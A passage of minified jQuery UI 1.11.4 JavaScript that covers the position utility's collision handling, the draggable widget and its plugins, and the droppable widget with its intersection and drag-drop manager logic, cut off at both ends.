s,l,u=e(this),c=u.outerWidth(),d=u.outerHeight(),f=i(this,\"marginLeft\"),b=i(this,\"marginTop\"),D=c+f+i(this,\"marginRight\")+w.width,S=d+b+i(this,\"marginBottom\")+w.height,C=e.extend({},_),M=t(T.my,u.outerWidth(),u.outerHeight());\"right\"===n.my[0]?C.left-=c:\"center\"===n.my[0]&&(C.left-=c/2),\"bottom\"===n.my[1]?C.top-=d:\"center\"===n.my[1]&&(C.top-=d/2),C.left+=M[0],C.top+=M[1],o||(C.left=h(C.left),C.top=h(C.top)),s={marginLeft:f,marginTop:b},e.each([\"left\",\"top\"],function(t,i){e.ui.position[k[t]]&&e.ui.position[k[t]][i](C,{targetWidth:m,targetHeight:g,elemWidth:c,elemHeight:d,collisionPosition:s,collisionWidth:D,collisionHeight:S,offset:[p[0]+M[0],p[1]+M[1]],my:n.my,at:n.at,within:x,elem:u})}),n.using&&(l=function(e){var t=v.left-C.left,i=t+m-c,s=v.top-C.top,o=s+g-d,h={target:{element:y,left:v.left,top:v.top,width:m,height:g},element:{element:u,left:C.left,top:C.top,width:c,height:d},horizontal:0>i?\"left\":t>0?\"right\":\"center\",vertical:0>o?\"top\":s>0?\"bottom\":\"middle\"};c>m&&m>r(t+i)&&(h.horizontal=\"center\"),d>g&&g>r(s+o)&&(h.vertical=\"middle\"),h.important=a(r(t),r(i))>a(r(s),r(o))?\"horizontal\":\"vertical\",n.using.call(this,e,h)}),u.offset(e.extend(C,{using:l}))})},e.ui.position={fit:{left:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollLeft:s.offset.left,o=s.width,r=e.left-t.collisionPosition.marginLeft,h=n-r,l=r+t.collisionWidth-o-n;t.collisionWidth>o?h>0&&0>=l?(i=e.left+h+t.collisionWidth-o-n,e.left+=h-i):e.left=l>0&&0>=h?n:h>l?n+o-t.collisionWidth:n:h>0?e.left+=h:l>0?e.left-=l:e.left=a(e.left-r,e.left)},top:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollTop:s.offset.top,o=t.within.height,r=e.top-t.collisionPosition.marginTop,h=n-r,l=r+t.collisionHeight-o-n;t.collisionHeight>o?h>0&&0>=l?(i=e.top+h+t.collisionHeight-o-n,e.top+=h-i):e.top=l>0&&0>=h?n:h>l?n+o-t.collisionHeight:n:h>0?e.top+=h:l>0?e.top-=l:e.top=a(e.top-r,e.top)}},flip:{left:function(e,t){var i,s,n=t.within,o=n.offset.left+n.scrollLeft,a=n.width,h=n.isWindow?n.scrollLeft:n.offset.left,l=e.left-t.collisionPosition.marginLeft,u=l-h,c=l+t.collisionWidth-a-h,d=\"left\"===t.my[0]?-t.elemWidth:\"right\"===t.my[0]?t.elemWidth:0,p=\"left\"===t.at[0]?t.targetWidth:\"right\"===t.at[0]?-t.targetWidth:0,f=-2*t.offset[0];0>u?(i=e.left+d+p+f+t.collisionWidth-a-o,(0>i||r(u)>i)&&(e.left+=d+p+f)):c>0&&(s=e.left-t.collisionPosition.marginLeft+d+p+f-h,(s>0||c>r(s))&&(e.left+=d+p+f))},top:function(e,t){var i,s,n=t.within,o=n.offset.top+n.scrollTop,a=n.height,h=n.isWindow?n.scrollTop:n.offset.top,l=e.top-t.collisionPosition.marginTop,u=l-h,c=l+t.collisionHeight-a-h,d=\"top\"===t.my[1],p=d?-t.elemHeight:\"bottom\"===t.my[1]?t.elemHeight:0,f=\"top\"===t.at[1]?t.targetHeight:\"bottom\"===t.at[1]?-t.targetHeight:0,m=-2*t.offset[1];0>u?(s=e.top+p+f+m+t.collisionHeight-a-o,(0>s||r(u)>s)&&(e.top+=p+f+m)):c>0&&(i=e.top-t.collisionPosition.marginTop+p+f+m-h,(i>0||c>r(i))&&(e.top+=p+f+m))}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments),e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments),e.ui.position.fit.top.apply(this,arguments)}}},function(){var t,i,s,n,a,r=document.getElementsByTagName(\"body\")[0],h=document.createElement(\"div\");t=document.createElement(r?\"div\":\"body\"),s={visibility:\"hidden\",width:0,height:0,border:0,margin:0,background:\"none\"},r&&e.extend(s,{position:\"absolute\",left:\"-1000px\",top:\"-1000px\"});for(a in s)t.style[a]=s[a];t.appendChild(h),i=r||document.documentElement,i.insertBefore(t,i.firstChild),h.style.cssText=\"position: absolute; left: 10.7432222px;\",n=e(h).offset().left,o=n>10&&11>n,t.innerHTML=\"\",i.removeChild(t)}()}(),e.ui.position,e.widget(\"ui.draggable\",e.ui.mouse,{version:\"1.11.4\",widgetEventPrefix:\"drag\",options:{addClasses:!0,appendTo:\"parent\",axis:!1,connectToSortable:!1,containment:!1,cursor:\"auto\",cursorAt:!1,grid:!1,handle:!1,helper:\"original\",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:\"default\",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:\"both\",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){\"original\"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this.element.addClass(\"ui-draggable\"),this.options.disabled&&this.element.addClass(\"ui-draggable-disabled\"),this._setHandleClassName(),this._mouseInit()},_setOption:function(e,t){this._super(e,t),\"handle\"===e&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(\".ui-draggable-dragging\")?(this.destroyOnClear=!0,void 0):(this.element.removeClass(\"ui-draggable ui-draggable-dragging ui-draggable-disabled\"),this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(t){var i=this.options;return this._blurActiveElement(t),this.helper||i.disabled||e(t.target).closest(\".ui-resizable-handle\").length>0?!1:(this.handle=this._getHandle(t),this.handle?(this._blockFrames(i.iframeFix===!0?\"iframe\":i.iframeFix),!0):!1)},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=e(this);return e(\"<div>\").css(\"position\",\"absolute\").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var i=this.document[0];if(this.handleElement.is(t.target))try{i.activeElement&&\"body\"!==i.activeElement.nodeName.toLowerCase()&&e(i.activeElement).blur()}catch(s){}},_mouseStart:function(t){var i=this.options;return this.helper=this._createHelper(t),this.helper.addClass(\"ui-draggable-dragging\"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css(\"position\"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return\"fixed\"===e(this).css(\"position\")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger(\"start\",t)===!1?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._normalizeRightBottom(),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(e){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:e.pageX-this.offset.left,top:e.pageY-this.offset.top}},_mouseDrag:function(t,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo(\"absolute\"),!i){var s=this._uiHash();if(this._trigger(\"drag\",t,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+\"px\",this.helper[0].style.top=this.position.top+\"px\",e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var i=this,s=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(s=e.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),\"invalid\"===this.options.revert&&!s||\"valid\"===this.options.revert&&s||this.options.revert===!0||e.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger(\"stop\",t)!==!1&&i._clear()}):this._trigger(\"stop\",t)!==!1&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.focus(),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(\".ui-draggable-dragging\")?this._mouseUp({}):this._clear(),this},_getHandle:function(t){return this.options.handle?!!e(t.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this.handleElement.addClass(\"ui-draggable-handle\")},_removeHandleClassName:function(){this.handleElement.removeClass(\"ui-draggable-handle\")},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper),n=s?e(i.helper.apply(this.element[0],[t])):\"clone\"===i.helper?this.element.clone().removeAttr(\"id\"):this.element;return n.parents(\"body\").length||n.appendTo(\"parent\"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css(\"position\"))||n.css(\"position\",\"absolute\"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css(\"position\"))||(this.element[0].style.position=\"relative\")},_adjustOffsetFromHelper:function(t){\"string\"==typeof t&&(t=t.split(\" \")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),\"left\"in t&&(this.offset.click.left=t.left+this.margins.left),\"right\"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),\"top\"in t&&(this.offset.click.top=t.top+this.margins.top),\"bottom\"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(e){return/(html|body)/i.test(e.tagName)||e===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),i=this.document[0];return\"absolute\"===this.cssPosition&&this.scrollParent[0]!==i&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css(\"borderTopWidth\"),10)||0),left:t.left+(parseInt(this.offsetParent.css(\"borderLeftWidth\"),10)||0)}},_getRelativeOffset:function(){if(\"relative\"!==this.cssPosition)return{top:0,left:0};var e=this.element.position(),t=this._isRootNode(this.scrollParent[0]);return{top:e.top-(parseInt(this.helper.css(\"top\"),10)||0)+(t?0:this.scrollParent.scrollTop()),left:e.left-(parseInt(this.helper.css(\"left\"),10)||0)+(t?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css(\"marginLeft\"),10)||0,top:parseInt(this.element.css(\"marginTop\"),10)||0,right:parseInt(this.element.css(\"marginRight\"),10)||0,bottom:parseInt(this.element.css(\"marginBottom\"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options,o=this.document[0];return this.relativeContainer=null,n.containment?\"window\"===n.containment?(this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):\"document\"===n.containment?(this.containment=[0,0,e(o).width()-this.helperProportions.width-this.margins.left,(e(o).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):n.containment.constructor===Array?(this.containment=n.containment,void 0):(\"parent\"===n.containment&&(n.containment=this.helper[0].parentNode),i=e(n.containment),s=i[0],s&&(t=/(scroll|auto)/.test(i.css(\"overflow\")),this.containment=[(parseInt(i.css(\"borderLeftWidth\"),10)||0)+(parseInt(i.css(\"paddingLeft\"),10)||0),(parseInt(i.css(\"borderTopWidth\"),10)||0)+(parseInt(i.css(\"paddingTop\"),10)||0),(t?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css(\"borderRightWidth\"),10)||0)-(parseInt(i.css(\"paddingRight\"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css(\"borderBottomWidth\"),10)||0)-(parseInt(i.css(\"paddingBottom\"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)},_convertPositionTo:function(e,t){t||(t=this.position);var i=\"absolute\"===e?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:t.top+this.offset.relative.top*i+this.offset.parent.top*i-(\"fixed\"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:t.left+this.offset.relative.left*i+this.offset.parent.left*i-(\"fixed\"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(e,t){var i,s,n,o,a=this.options,r=this._isRootNode(this.scrollParent[0]),h=e.pageX,l=e.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),t&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,e.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),e.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),e.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),e.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),a.grid&&(n=a.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/a.grid[1])*a.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-a.grid[1]:n+a.grid[1]:n,o=a.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/a.grid[0])*a.grid[0]:this.originalPageX,h=i?o-this.offset.click.left>=i[0]||o-this.offset.click.left>i[2]?o:o-this.offset.click.left>=i[0]?o-a.grid[0]:o+a.grid[0]:o),\"y\"===a.axis&&(h=this.originalPageX),\"x\"===a.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+(\"fixed\"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+(\"fixed\"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}\r\n},_clear:function(){this.helper.removeClass(\"ui-draggable-dragging\"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_normalizeRightBottom:function(){\"y\"!==this.options.axis&&\"auto\"!==this.helper.css(\"right\")&&(this.helper.width(this.helper.width()),this.helper.css(\"right\",\"auto\")),\"x\"!==this.options.axis&&\"auto\"!==this.helper.css(\"bottom\")&&(this.helper.height(this.helper.height()),this.helper.css(\"bottom\",\"auto\"))},_trigger:function(t,i,s){return s=s||this._uiHash(),e.ui.plugin.call(this,t,[i,s,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo(\"absolute\"),s.offset=this.positionAbs),e.Widget.prototype._trigger.call(this,t,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add(\"draggable\",\"connectToSortable\",{start:function(t,i,s){var n=e.extend({},i,{item:s.element});s.sortables=[],e(s.options.connectToSortable).each(function(){var i=e(this).sortable(\"instance\");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger(\"activate\",t,n))})},stop:function(t,i,s){var n=e.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,e.each(s.sortables,function(){var e=this;e.isOver?(e.isOver=0,s.cancelHelperRemoval=!0,e.cancelHelperRemoval=!1,e._storedCSS={position:e.placeholder.css(\"position\"),top:e.placeholder.css(\"top\"),left:e.placeholder.css(\"left\")},e._mouseStop(t),e.options.helper=e.options._helper):(e.cancelHelperRemoval=!0,e._trigger(\"deactivate\",t,n))})},drag:function(t,i,s){e.each(s.sortables,function(){var n=!1,o=this;o.positionAbs=s.positionAbs,o.helperProportions=s.helperProportions,o.offset.click=s.offset.click,o._intersectsWith(o.containerCache)&&(n=!0,e.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==o&&this._intersectsWith(this.containerCache)&&e.contains(o.element[0],this.element[0])&&(n=!1),n})),n?(o.isOver||(o.isOver=1,s._parent=i.helper.parent(),o.currentItem=i.helper.appendTo(o.element).data(\"ui-sortable-item\",!0),o.options._helper=o.options.helper,o.options.helper=function(){return i.helper[0]},t.target=o.currentItem[0],o._mouseCapture(t,!0),o._mouseStart(t,!0,!0),o.offset.click.top=s.offset.click.top,o.offset.click.left=s.offset.click.left,o.offset.parent.left-=s.offset.parent.left-o.offset.parent.left,o.offset.parent.top-=s.offset.parent.top-o.offset.parent.top,s._trigger(\"toSortable\",t),s.dropped=o.element,e.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,o.fromOutside=s),o.currentItem&&(o._mouseDrag(t),i.position=o.position)):o.isOver&&(o.isOver=0,o.cancelHelperRemoval=!0,o.options._revert=o.options.revert,o.options.revert=!1,o._trigger(\"out\",t,o._uiHash(o)),o._mouseStop(t,!0),o.options.revert=o.options._revert,o.options.helper=o.options._helper,o.placeholder&&o.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(t),i.position=s._generatePosition(t,!0),s._trigger(\"fromSortable\",t),s.dropped=!1,e.each(s.sortables,function(){this.refreshPositions()}))})}}),e.ui.plugin.add(\"draggable\",\"cursor\",{start:function(t,i,s){var n=e(\"body\"),o=s.options;n.css(\"cursor\")&&(o._cursor=n.css(\"cursor\")),n.css(\"cursor\",o.cursor)},stop:function(t,i,s){var n=s.options;n._cursor&&e(\"body\").css(\"cursor\",n._cursor)}}),e.ui.plugin.add(\"draggable\",\"opacity\",{start:function(t,i,s){var n=e(i.helper),o=s.options;n.css(\"opacity\")&&(o._opacity=n.css(\"opacity\")),n.css(\"opacity\",o.opacity)},stop:function(t,i,s){var n=s.options;n._opacity&&e(i.helper).css(\"opacity\",n._opacity)}}),e.ui.plugin.add(\"draggable\",\"scroll\",{start:function(e,t,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&\"HTML\"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,i,s){var n=s.options,o=!1,a=s.scrollParentNotHidden[0],r=s.document[0];a!==r&&\"HTML\"!==a.tagName?(n.axis&&\"x\"===n.axis||(s.overflowOffset.top+a.offsetHeight-t.pageY<n.scrollSensitivity?a.scrollTop=o=a.scrollTop+n.scrollSpeed:t.pageY-s.overflowOffset.top<n.scrollSensitivity&&(a.scrollTop=o=a.scrollTop-n.scrollSpeed)),n.axis&&\"y\"===n.axis||(s.overflowOffset.left+a.offsetWidth-t.pageX<n.scrollSensitivity?a.scrollLeft=o=a.scrollLeft+n.scrollSpeed:t.pageX-s.overflowOffset.left<n.scrollSensitivity&&(a.scrollLeft=o=a.scrollLeft-n.scrollSpeed))):(n.axis&&\"x\"===n.axis||(t.pageY-e(r).scrollTop()<n.scrollSensitivity?o=e(r).scrollTop(e(r).scrollTop()-n.scrollSpeed):e(window).height()-(t.pageY-e(r).scrollTop())<n.scrollSensitivity&&(o=e(r).scrollTop(e(r).scrollTop()+n.scrollSpeed))),n.axis&&\"y\"===n.axis||(t.pageX-e(r).scrollLeft()<n.scrollSensitivity?o=e(r).scrollLeft(e(r).scrollLeft()-n.scrollSpeed):e(window).width()-(t.pageX-e(r).scrollLeft())<n.scrollSensitivity&&(o=e(r).scrollLeft(e(r).scrollLeft()+n.scrollSpeed)))),o!==!1&&e.ui.ddmanager&&!n.dropBehaviour&&e.ui.ddmanager.prepareOffsets(s,t)}}),e.ui.plugin.add(\"draggable\",\"snap\",{start:function(t,i,s){var n=s.options;s.snapElements=[],e(n.snap.constructor!==String?n.snap.items||\":data(ui-draggable)\":n.snap).each(function(){var t=e(this),i=t.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:i.top,left:i.left})})},drag:function(t,i,s){var n,o,a,r,h,l,u,c,d,p,f=s.options,m=f.snapTolerance,g=i.offset.left,v=g+s.helperProportions.width,_=i.offset.top,b=_+s.helperProportions.height;for(d=s.snapElements.length-1;d>=0;d--)h=s.snapElements[d].left-s.margins.left,l=h+s.snapElements[d].width,u=s.snapElements[d].top-s.margins.top,c=u+s.snapElements[d].height,h-m>v||g>l+m||u-m>b||_>c+m||!e.contains(s.snapElements[d].item.ownerDocument,s.snapElements[d].item)?(s.snapElements[d].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=!1):(\"inner\"!==f.snapMode&&(n=m>=Math.abs(u-b),o=m>=Math.abs(c-_),a=m>=Math.abs(h-v),r=m>=Math.abs(l-g),n&&(i.position.top=s._convertPositionTo(\"relative\",{top:u-s.helperProportions.height,left:0}).top),o&&(i.position.top=s._convertPositionTo(\"relative\",{top:c,left:0}).top),a&&(i.position.left=s._convertPositionTo(\"relative\",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo(\"relative\",{top:0,left:l}).left)),p=n||o||a||r,\"outer\"!==f.snapMode&&(n=m>=Math.abs(u-_),o=m>=Math.abs(c-b),a=m>=Math.abs(h-g),r=m>=Math.abs(l-v),n&&(i.position.top=s._convertPositionTo(\"relative\",{top:u,left:0}).top),o&&(i.position.top=s._convertPositionTo(\"relative\",{top:c-s.helperProportions.height,left:0}).top),a&&(i.position.left=s._convertPositionTo(\"relative\",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo(\"relative\",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[d].snapping&&(n||o||a||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=n||o||a||r||p)}}),e.ui.plugin.add(\"draggable\",\"stack\",{start:function(t,i,s){var n,o=s.options,a=e.makeArray(e(o.stack)).sort(function(t,i){return(parseInt(e(t).css(\"zIndex\"),10)||0)-(parseInt(e(i).css(\"zIndex\"),10)||0)});a.length&&(n=parseInt(e(a[0]).css(\"zIndex\"),10)||0,e(a).each(function(t){e(this).css(\"zIndex\",n+t)}),this.css(\"zIndex\",n+a.length))}}),e.ui.plugin.add(\"draggable\",\"zIndex\",{start:function(t,i,s){var n=e(i.helper),o=s.options;n.css(\"zIndex\")&&(o._zIndex=n.css(\"zIndex\")),n.css(\"zIndex\",o.zIndex)},stop:function(t,i,s){var n=s.options;n._zIndex&&e(i.helper).css(\"zIndex\",n._zIndex)}}),e.ui.draggable,e.widget(\"ui.droppable\",{version:\"1.11.4\",widgetEventPrefix:\"drop\",options:{accept:\"*\",activeClass:!1,addClasses:!0,greedy:!1,hoverClass:!1,scope:\"default\",tolerance:\"intersect\",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var t,i=this.options,s=i.accept;this.isover=!1,this.isout=!0,this.accept=e.isFunction(s)?s:function(e){return e.is(s)},this.proportions=function(){return arguments.length?(t=arguments[0],void 0):t?t:t={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight}},this._addToManager(i.scope),i.addClasses&&this.element.addClass(\"ui-droppable\")},_addToManager:function(t){e.ui.ddmanager.droppables[t]=e.ui.ddmanager.droppables[t]||[],e.ui.ddmanager.droppables[t].push(this)},_splice:function(e){for(var t=0;e.length>t;t++)e[t]===this&&e.splice(t,1)},_destroy:function(){var t=e.ui.ddmanager.droppables[this.options.scope];this._splice(t),this.element.removeClass(\"ui-droppable ui-droppable-disabled\")},_setOption:function(t,i){if(\"accept\"===t)this.accept=e.isFunction(i)?i:function(e){return e.is(i)};else if(\"scope\"===t){var s=e.ui.ddmanager.droppables[this.options.scope];this._splice(s),this._addToManager(i)}this._super(t,i)},_activate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.addClass(this.options.activeClass),i&&this._trigger(\"activate\",t,this.ui(i))},_deactivate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.removeClass(this.options.activeClass),i&&this._trigger(\"deactivate\",t,this.ui(i))},_over:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.addClass(this.options.hoverClass),this._trigger(\"over\",t,this.ui(i)))},_out:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger(\"out\",t,this.ui(i)))},_drop:function(t,i){var s=i||e.ui.ddmanager.current,n=!1;return s&&(s.currentItem||s.element)[0]!==this.element[0]?(this.element.find(\":data(ui-droppable)\").not(\".ui-draggable-dragging\").each(function(){var i=e(this).droppable(\"instance\");return i.options.greedy&&!i.options.disabled&&i.options.scope===s.options.scope&&i.accept.call(i.element[0],s.currentItem||s.element)&&e.ui.intersect(s,e.extend(i,{offset:i.element.offset()}),i.options.tolerance,t)?(n=!0,!1):void 0}),n?!1:this.accept.call(this.element[0],s.currentItem||s.element)?(this.options.activeClass&&this.element.removeClass(this.options.activeClass),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger(\"drop\",t,this.ui(s)),this.element):!1):!1},ui:function(e){return{draggable:e.currentItem||e.element,helper:e.helper,position:e.position,offset:e.positionAbs}}}),e.ui.intersect=function(){function e(e,t,i){return e>=t&&t+i>e}return function(t,i,s,n){if(!i.offset)return!1;var o=(t.positionAbs||t.position.absolute).left+t.margins.left,a=(t.positionAbs||t.position.absolute).top+t.margins.top,r=o+t.helperProportions.width,h=a+t.helperProportions.height,l=i.offset.left,u=i.offset.top,c=l+i.proportions().width,d=u+i.proportions().height;switch(s){case\"fit\":return o>=l&&c>=r&&a>=u&&d>=h;case\"intersect\":return o+t.helperProportions.width/2>l&&c>r-t.helperProportions.width/2&&a+t.helperProportions.height/2>u&&d>h-t.helperProportions.height/2;case\"pointer\":return e(n.pageY,u,i.proportions().height)&&e(n.pageX,l,i.proportions().width);case\"touch\":return(a>=u&&d>=a||h>=u&&d>=h||u>a&&h>d)&&(o>=l&&c>=o||r>=l&&c>=r||l>o&&r>c);default:return!1}}}(),e.ui.ddmanager={current:null,droppables:{\"default\":[]},prepareOffsets:function(t,i){var s,n,o=e.ui.ddmanager.droppables[t.options.scope]||[],a=i?i.type:null,r=(t.currentItem||t.element).find(\":data(ui-droppable)\").addBack();e:for(s=0;o.length>s;s++)if(!(o[s].options.disabled||t&&!o[s].accept.call(o[s].element[0],t.currentItem||t.element))){for(n=0;r.length>n;n++)if(r[n]===o[s].element[0]){o[s].proportions().height=0;continue e}o[s].visible=\"none\"!==o[s].element.css(\"display\"),o[s].visible&&(\"mousedown\"===a&&o[s]._activate.call(o[s],i),o[s].offset=o[s].element.offset(),o[s].proportions({width:o[s].element[0].offsetWidth,height:o[s].element[0].offsetHeight}))}},drop:function(t,i){var s=!1;return e.each((e.ui.ddmanager.droppables[t.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&e.ui.intersect(t,this,this.options.tolerance,i)&&(s=this._drop.call(this,i)||s),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),s},dragStart:function(t,i){t.element.parentsUntil(\"body\").bind(\"scroll.droppable\",function(){t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)})},drag:function(t,i){t.options.refreshPositions&&e.ui.ddmanager.prepareOffsets(t,i),e.each(e.ui.ddmanager.droppables[t.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var s,n,o,a=e.ui.intersect(t,this,this.options.tolerance,i),r=!a&&this.isover?\"isout\":a&&!this.isover?\"isover\":null;r&&(this.options.greedy&&(n=this.options.scope,o=this.element.parents(\":data(ui-droppable)\").filter(function(){return 